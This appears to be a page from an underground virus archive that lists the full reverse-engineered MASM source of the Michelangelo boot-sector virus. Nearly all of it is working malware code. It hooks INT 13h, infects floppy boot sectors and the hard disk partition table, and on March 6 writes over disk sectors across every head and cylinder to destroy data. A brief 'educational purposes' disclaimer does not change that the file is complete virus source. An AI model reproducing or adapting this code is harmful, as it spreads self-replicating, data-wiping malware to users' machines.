home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / michel.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  18.5 KB  |  323 lines

  1.         TITLE   MICHELANGELO, a STONED - derived Boot Virus
  2.  
  3.         SUBTTL  reverse engineered source code for MASM 5.1/6.0
  4.  
  5.  
  6.  
  7.          PAGE   60,132
  8.  
  9.         .RADIX  16
  10.  
  11.  
  12.  
  13.     IF1
  14.  
  15.          %Out    ╔═ VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION ═╗
  16.  
  17.          %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  18.  
  19.          %Out    ║░░░░░░░░░░░░░░░┌─────────────────────────┐░░░░░░░░░░░░░░░░║
  20.  
  21.          %Out    ║░░─────────────┤ M I C H E L A N G E L O ├──────────────░░║
  22.  
  23.          %Out    ║░░░░░░░░░░░░░░░└─────────────────────────┘░░░░░░░░░░░░░░░░║
  24.  
  25.          %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  26.  
  27.          %Out    ╚══ Layout (C) 1992 164A12565AA18213165556D3125C4B962712 ══╝
  28.  
  29.     ENDIF
  30.  
  31.     
  32.  
  33.         comment #
  34.  
  35.  
  36.  
  37.   !                                         !
  38.  
  39.   !     MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475,      !
  40.  
  41.   !     Caprese, Republic of Florence ...                                    !
  42.  
  43.   !     This boot block / partition table virus will overwrite most of the   !
  44.  
  45.   !     data on eiter floppy disks or winchester drives at HIS birthday.     !
  46.  
  47.   !                                                                         !
  48.  
  49.   !    This source code may only be used for educational purposes!          !
  50.  
  51.   !                                                                         !
  52.  
  53.   !    Do not offend the law by distributing viral or trojan horse soft-    !
  54.  
  55.   !    ware to anybody who is not aware of the potential danger of the      !
  56.  
  57.   !    software he receives.                                                !
  58.  
  59.   !                                                                          !
  60.  
  61.  
  62.  
  63.         #
  64.  
  65.  
  66.  
  67.         B       equ     <BYTE>
  68.  
  69.         D       equ     <DWORD>
  70.  
  71.         O       equ     <OFFSET>
  72.  
  73.         P       equ     <PTR>
  74.  
  75.         S       equ     <SHORT>
  76.  
  77.         T       equ     <THIS>
  78.  
  79.         v       equ     <OR>
  80.  
  81.         W       equ     <WORD>
  82.  
  83.  
  84.  
  85.  
  86.  
  87.   SAVE          MACRO     _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
  88.  
  89.                  IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
  90.  
  91.                   IFNB   <_X>
  92.  
  93.                    IFIDN <_X>,<F>
  94.  
  95.                     PUSHF
  96.  
  97.                    ELSE
  98.  
  99.                     PUSH _X
  100.  
  101.                    ENDIF
  102.  
  103.                   ENDIF
  104.  
  105.                  ENDM
  106.  
  107.                 ENDM
  108.  
  109.  
  110.  
  111.   REST          MACRO     _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
  112.  
  113.                  IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
  114.  
  115.                   IFNB   <_X>
  116.  
  117.                    IFIDN <_X>,<F>
  118.  
  119.                      POPF
  120.  
  121.                    ELSE
  122.  
  123.                      POP _X
  124.  
  125.                    ENDIF
  126.  
  127.                   ENDIF
  128.  
  129.                  ENDM
  130.  
  131.                 ENDM
  132.  
  133.  
  134.  
  135.   MOV_S         MACRO   S1,S2
  136.  
  137.                  SAVE   S2
  138.  
  139.                  REST   S1
  140.  
  141.                 ENDM
  142.  
  143.  
  144.  
  145. TEXT    SEGMENT PARA PUBLIC 'CODE'
  146.  
  147.  
  148.  
  149.         ASSUME  CS:TEXT,DS:TEXT,ES:TEXT
  150.  
  151.  
  152.  
  153.         ORG     0
  154.  
  155.  
  156.  
  157.   MICHELANGELO  =       0306                    ; ... his BCD birthday
  158.  
  159.                                                 ;
  160.  
  161.   SECSIZE       =       0200                    ;
  162.  
  163.   WINCHESTER1   =       80                      ;
  164.  
  165.   bREAD         =       2                       ;
  166.  
  167.   wREAD         =       bREAD SHL 8             ;
  168.  
  169.   bWRITE        =       3                       ;
  170.  
  171.   wWRITE        =       bWRITE SHL 8            ;
  172.  
  173.                                                 ;
  174.  
  175.   DTA           =       T B + SECSIZE           ;
  176.  
  177.                                                 ;
  178.  
  179.   OR13OFF       =       T W + 04C               ;
  180.  
  181.   OR13SEG       =       T W + 04E               ;
  182.  
  183.   SYSRAM        =       T W + 413               ;
  184.  
  185.   MOSTAT        =       T B + 43F               ;
  186.  
  187.                                                 ;
  188.  
  189.   PARTTBL       =       T B + 1BE               ;
  190.  
  191.                                                 ;
  192.  
  193.   OFSFRM0       EQU     7C00                    ;
  194.  
  195.                                                 ;
  196.  
  197. START:          JMP       INIT                  ;
  198.  
  199.                                                 ;
  200.  
  201. ; -----------------------------------------------------------------------------
  202.  
  203.                                                 ;
  204.  
  205. SHDWRELOCOFS    =       T W + OFSFRM0           ;
  206.  
  207. RELOCOFS        DW      FRSTRLCTD               ; Used by an indirect far jmp
  208.  
  209. SHDWRELOCSEG    =       T W + OFSFRM0           ;   to the relocated code.
  210.  
  211. RELOCSEG        DW      ?                       ;
  212.  
  213.                                                 ;
  214.  
  215. HEADS           DB      ?                       ;
  216.  
  217.                                                 ;
  218.  
  219. CYLSEG          DW      ?                       ;
  220.  
  221.                                                 ;
  222.  
  223. SHDW13OFS       =       T W + OFSFRM0           ;
  224.  
  225. BIOS13OFS       DW      ?                       ; Holds original (BIOS)
  226.  
  227. SHDW13SEG       =       T W + OFSFRM0           ;   int 13 vector.
  228.  
  229. BIOS13SEG       DW      ?                       ;
  230.  
  231.                                                 ;
  232.  
  233. ; -----------------------------------------------------------------------------
  234.  
  235.                                                 ;
  236.  
  237. I13_ISR:        SAVE    DS,AX                   ; INT 13 SR, save regs
  238.  
  239.                 OR      DL,DL                   ; drive == A ?
  240.  
  241.                 JNZ     I13_EX                  ;   jmp if not
  242.  
  243.                 XOR     AX,AX                   ; DS = 0
  244.  
  245.                 MOV     DS,AX                   ;
  246.  
  247.                 TEST    B P [MOSTAT],01         ; test diskette motor status:
  248.  
  249.                 JNZ     I13_EX                  ;   jmp if motor is already on
  250.  
  251.                 REST    AX,DS                   ;
  252.  
  253.                 SAVE    F                       ; call old interrupt 13
  254.  
  255.                 CALL    D P CS:[BIOS13OFS]      ;  routine
  256.  
  257.                 SAVE    F                       ; save FLAGS
  258.  
  259.                 CALL    TstInfF                 ; test & infect if necessary
  260.  
  261.                 REST    F                       ; restore FLAGS
  262.  
  263.                 RETF    2                       ; return, preserve FLAGS
  264.  
  265.                                                 ;
  266.  
  267. I13_EX:         REST    AX,DS                   ; restore regs, jmp to old int
  268.  
  269.                 JMP     D P CS:[BIOS13OFS]      ;   13h routine
  270.  
  271.                                                 ;
  272.  
  273. TstInfF:        SAVE    AX,BX,CX,DX,DS,ES,SI,DI ;
  274.  
  275.                 MOV_S   DS,CS                   ; ES = DS = CS;
  276.  
  277.                 MOV_S   ES,CS                   ;
  278.  
  279.                 MOV     SI,0004                 ; SI = 4 (maxretry counter)
  280.  
  281.   @@:           MOV     AX,wREAD v 1            ; AX : read one sector
  282.  
  283.                 MOV     BX,O DTA                ; BX : ... to buffer at CS:200
  284.  
  285.                 MOV     CX,0001                 ; CX : ... cylinder 0, sector 1
  286.  
  287.                 XOR     DX,DX                   ; DX : ... drive 0, head 0
  288.  
  289.                 SAVE    F                       ; call old int13 routine by
  290.  
  291.                 CALL    D P [BIOS13OFS]         ;   simulating an interrupt
  292.  
  293.                 JNB     @F                      ; jmp if there isn't an error,
  294.  
  295.                 XOR     AX,AX                   ; else reset disk system ...
  296.  
  297.                 SAVE    F                       ;
  298.  
  299.                 CALL    D P [BIOS13OFS]         ;
  300.  
  301.                 DEC     SI                      ; decrement maxretry counter
  302.  
  303.                 JNZ     @B                      ; try it again if not zero,
  304.  
  305.                 JMP     S TstInfF_EX            ; else jmp to exit in haste.
  306.  
  307.                                                 ;
  308.  
  309.   @@:           XOR     SI,SI                   ; boot sector has been read,
  310.  
  311.                 CLD                             ; now test if disk already has
  312.  
  313.                 LODSW                           ; been infected. Assume infect-
  314.  
  315.                 CMP     AX,[BX]                 ; ion if the first 4 bytes of
  316.  
  317.                 JNZ     @F                      ; MICHI and the boot sector are
  318.  
  319.                 LODSW                           ; identical ...
  320.  
  321.                 CMP     AX,[BX+02]              ;
  322.  
  323.                 JZ      TstInfF_EX              ; exit, disk already infected
  324.  
  325.   @@:           MOV     AX,wWRITE v 1           ; AX : Write one sector
  326.  
  327.                 MOV     DH,01                   ; DH : Head 1
  328.  
  329.                 MOV     CL,03                   ; CL : Sector 3
  330.  
  331.                 CMP     B P [BX+15],0FDH        ; adjust CL to E if the MEDIA ID
  332.  
  333.                 JZ      @F                      ;  field of the original boot
  334.  
  335.                 MOV     CL,0E                   ;  sector is not FD (5.25",360K)
  336.  
  337.   @@:           MOV     [CYLSEG],CX             ; store CX
  338.  
  339.                 SAVE    F                       ; and write the original boot
  340.  
  341.                 CALL    D P [BIOS13OFS]         ;   sector to the floppy disk
  342.  
  343.                 JB      TstInfF_EX              ; if an error occured,
  344.  
  345.                 MOV     SI,O PARTTBL + SECSIZE  ;         exit in haste.
  346.  
  347.                 MOV     DI,O PARTTBL            ; Copy the last bytes of
  348.  
  349.                 MOV     CX,0021                 ;   the original boot sector to
  350.  
  351.                 CLD                             ;   the end of MICHI
  352.  
  353.                 REP     MOVSW                   ;
  354.  
  355.                 MOV     AX,wWRITE v 1           ; ... and write it to the boot
  356.  
  357.                 XOR     BX,BX                   ;   sector of the disk.
  358.  
  359.                 MOV     CX,0001                 ;
  360.  
  361.                 XOR     DX,DX                   ;
  362.  
  363.                 SAVE    F                       ;
  364.  
  365.                 CALL    D P [BIOS13OFS]         ;
  366.  
  367. TstInfF_EX:     REST    DI,SI,ES,DS,DX,CX,BX,AX ; restore regs
  368.  
  369.                 RET                             ; ... return
  370.  
  371.                                                 ;
  372.  
  373. ; -----------------------------------------------------------------------------
  374.  
  375.                                                 ;
  376.  
  377. INIT:           XOR     AX,AX                   ; Set DS and SS to 0000,
  378.  
  379.                 MOV     DS,AX                   ;  initialize SP to 7C00.
  380.  
  381.                 CLI                             ;  That's because the boot
  382.  
  383.                 MOV     SS,AX                   ;  sector will loaded into
  384.  
  385.                 MOV     AX,OFSFRM0              ;  memory at 0:7C00 on every
  386.  
  387.                 MOV     SP,AX                   ;  IBM clone ...
  388.  
  389.                 STI                             ;
  390.  
  391.                                                 ;
  392.  
  393.                 SAVE    DS,AX                   ; save (0000:7C00) on stack
  394.  
  395.                                                 ;
  396.  
  397.                 MOV     AX,[OR13OFF]            ; Read old interrupt 13h vector
  398.  
  399.                 MOV     [SHDW13OFS],AX          ;        and save it
  400.  
  401.                 MOV     AX,[OR13SEG]            ;
  402.  
  403.                 MOV     [SHDW13SEG],AX          ;
  404.  
  405.                                                 ;
  406.  
  407.                 MOV     AX,[SYSRAM]             ; Substract 2 from base memory
  408.  
  409.                 DEC     AX                      ;   size variable in BIOS data
  410.  
  411.                 DEC     AX                      ;   area
  412.  
  413.                 MOV     [SYSRAM],AX             ;
  414.  
  415.                                                 ;
  416.  
  417.                 MOV     CL,06                   ; ES = AX = segment part of huge
  418.  
  419.                 SHL     AX,CL                   ;   ptr to area 2KB below last
  420.  
  421.                 MOV     ES,AX                   ;   base memory location
  422.  
  423.                                                 ;
  424.  
  425.                 MOV     [SHDWRELOCSEG],AX       ; Store seg for ind far jmp
  426.  
  427.                                                 ;   to relocated code
  428.  
  429.                 MOV     AX,O I13_ISR            ; Store ptr to new interrupt
  430.  
  431.                 MOV     [OR13OFF],AX            ;   13 service routine to
  432.  
  433.                 MOV     [OR13SEG],ES            ;   interrupt table,
  434.  
  435.                 MOV     CX,O PARTTBL            ; Relocate code,
  436.  
  437.                 MOV     SI,OFSFRM0              ;
  438.  
  439.                 XOR     DI,DI                   ;
  440.  
  441.                 CLD                             ;
  442.  
  443.                 REP     MOVSB                   ;
  444.  
  445.                 JMP     D P CS:[SHDWRELOCOFS]   ; Jmp to FRSTRLCTD (relo-
  446.  
  447.                                                 ;   cated code)(BUGGY)
  448.  
  449.                                                 ;
  450.  
  451. FRSTRLCTD:      XOR     AX,AX                   ; Reset the disk system
  452.  
  453.                 MOV     ES,AX                   ;
  454.  
  455.                 INT     13                      ;
  456.  
  457.                 MOV_S   DS,CS                   ; ES = 0; DS = CS;
  458.  
  459.                 MOV     AX,wREAD v 1            ; AH = 'Read', AL = # to read
  460.  
  461.                 MOV     BX,OFSFRM0              ; ES:BX = 0:7C00 = xfer address
  462.  
  463.                 MOV     CX,[CYLSEG]             ; CH = cylinder #, CL = sector #
  464.  
  465.                                                 ;
  466.  
  467.                 CMP     CX,+07                  ; Booted from winchester drive?
  468.  
  469.                 JNZ     @F                      ;       jmp if not
  470.  
  471.                 MOV     DX,0000 v WINCHESTER1   ; DH = head 0, DL = drive C
  472.  
  473.                 INT     13                      ; read the original boot sector
  474.  
  475.                 JMP     S BOOTNOW               ;   and jmp
  476.  
  477.                                                 ;
  478.  
  479.   @@:           MOV     CX,[CYLSEG]             ; adjust cylinder/sector #s
  480.  
  481.                 MOV     DX,0100                 ; DH = head 1, DL = drive A
  482.  
  483.                 INT     13                      ; and read the sector ...
  484.  
  485.                 JB      BOOTNOW                 ; (jmp on error, else continue)
  486.  
  487.                 MOV_S   ES,CS                   ; ES = CS;
  488.  
  489.                 MOV     AX,wREAD v 1            ; read partition table of 1st
  490.  
  491.                 MOV     BX,O DTA                ; hard disk into buffer located
  492.  
  493.                 MOV     CX,0001                 ; just after the relocated code
  494.  
  495.                 MOV     DX,0000 v WINCHESTER1   ;
  496.  
  497.                 INT     13                      ;
  498.  
  499.                 JB      BOOTNOW                 ; (jmp on error, else continue)
  500.  
  501.                 XOR     SI,SI                   ;
  502.  
  503.                 CLD                             ; test if hard disk is already
  504.  
  505.                 LODSW                           ; infected by comparing the 1st
  506.  
  507.                 CMP     AX,[BX]                 ; four bytes, if these are
  508.  
  509.                 JNZ     INFECT_PARTTBL          ; identical assume that the
  510.  
  511.                 LODSW                           ; hard disk already is infected
  512.  
  513.                 CMP     AX,[BX+02]              ; and continue, else jmp to
  514.  
  515.                 JNZ     INFECT_PARTTBL          ; infect procedure
  516.  
  517.                                                 ;
  518.  
  519. BOOTNOW:        XOR     CX,CX                   ; read date from real time clock
  520.  
  521.                 MOV     AH,04                   ; (will _not_ work on old BIOSes
  522.  
  523.                 INT     1A                      ;  that do not implement it)
  524.  
  525.                 CMP     DX,MICHELANGELO         ; jmp if today is the
  526.  
  527.                 JZ      BIRTHDAY                ;   birthday of MICHELANGELO
  528.  
  529.                 RETF                            ; 'return' to original boot sec-
  530.  
  531.                                                 ;   tor code
  532.  
  533.                                                 ;
  534.  
  535. ; -----------------------------------------------------------------------------
  536.  
  537.                                                 ;
  538.  
  539. BIRTHDAY:       XOR     DX,DX                   ; DH = head 0; DL = drive A
  540.  
  541.                 MOV     CX,0001                 ; CH = cylinder 0; CL = sector 1
  542.  
  543. BIRTHDAY_LOOP:  MOV     AX,wWRITE v 9           ; AH = 'Write'; AL = # of sectrs
  544.  
  545.                 MOV     SI,[CYLSEG]             ; adjust AL ( # of sectors) and
  546.  
  547.                 CMP     SI,+03                  ; DL (drive code) depending on
  548.  
  549.                 JZ      @F                      ; the type of the current boot
  550.  
  551.                 MOV     AL,0E                   ; disk
  552.  
  553.                 CMP     SI,+0E                  ;
  554.  
  555.                 JZ      @F                      ;
  556.  
  557.                 MOV     DL,WINCHESTER1          ;
  558.  
  559.                 MOV     B P [HEADS],04          ;
  560.  
  561.                 MOV     AL,11                   ;
  562.  
  563.   @@:           MOV     BX,5000                 ; ES:BX -> 'Buffer' = 5000:5000
  564.  
  565.                 MOV     ES,BX                   ;
  566.  
  567.                 INT     13                      ;
  568.  
  569.                 JNB     @F                      ;
  570.  
  571.                 XOR     AH,AH                   ; reset disk system if an error
  572.  
  573.                 INT     13                      ;   occured
  574.  
  575.   @@:           INC     DH                      ; increment head (DH)
  576.  
  577.                 CMP     DH,[HEADS]              ; head < maxhead? continue if
  578.  
  579.                 JB      BIRTHDAY_LOOP           ;   equal, else loop
  580.  
  581.                 XOR     DH,DH                   ;
  582.  
  583.                 INC     CH                      ; increment cylinder and loop
  584.  
  585.                 JMP     BIRTHDAY_LOOP           ; ( goodbye data - cu never )
  586.  
  587.                                                 ;
  588.  
  589. ; -----------------------------------------------------------------------------
  590.  
  591.                                                 ;
  592.  
  593. INFECT_PARTTBL: MOV     CX,0007                 ; It's an HD, take sector 7 to
  594.  
  595.                 MOV     [CYLSEG],CX             ;   save the original partition
  596.  
  597.                 MOV     AX,wWRITE v 1           ;   table and write it to disk
  598.  
  599.                 MOV     DX,0000 v WINCHESTER1   ;
  600.  
  601.                 INT     13                      ;
  602.  
  603.                 JB      BOOTNOW                 ; jmp on error
  604.  
  605.                 MOV     SI,O PARTTBL + SECSIZE  ; copy partition informa-
  606.  
  607.                 MOV     DI,O PARTTBL            ;   tion to the end of MICHI
  608.  
  609.                 MOV     CX,0021                 ;
  610.  
  611.                 REP     MOVSW                   ;
  612.  
  613.                 MOV     AX,wWRITE v 1           ; and write MICHI to the first
  614.  
  615.                 XOR     BX,BX                   ;   sector of the hard disk ...
  616.  
  617.                 INC     CL                      ;
  618.  
  619.                 INT     13                      ;
  620.  
  621.                 JMP     BOOTNOW                 ;
  622.  
  623.                                                 ;
  624.  
  625. ; -----------------------------------------------------------------------------
  626.  
  627.                                                 ;
  628.  
  629.                 ORG     SECSIZE - 2             ; Bootblock / partition table /
  630.  
  631.                 DB      055,0AA                 ; ROM signature
  632.  
  633.                                                 ;
  634.  
  635. ; -----------------------------------------------------------------------------
  636.  
  637.  
  638.  
  639. TEXT    ENDS
  640.  
  641.  
  642.  
  643. END     START
  644.  
  645.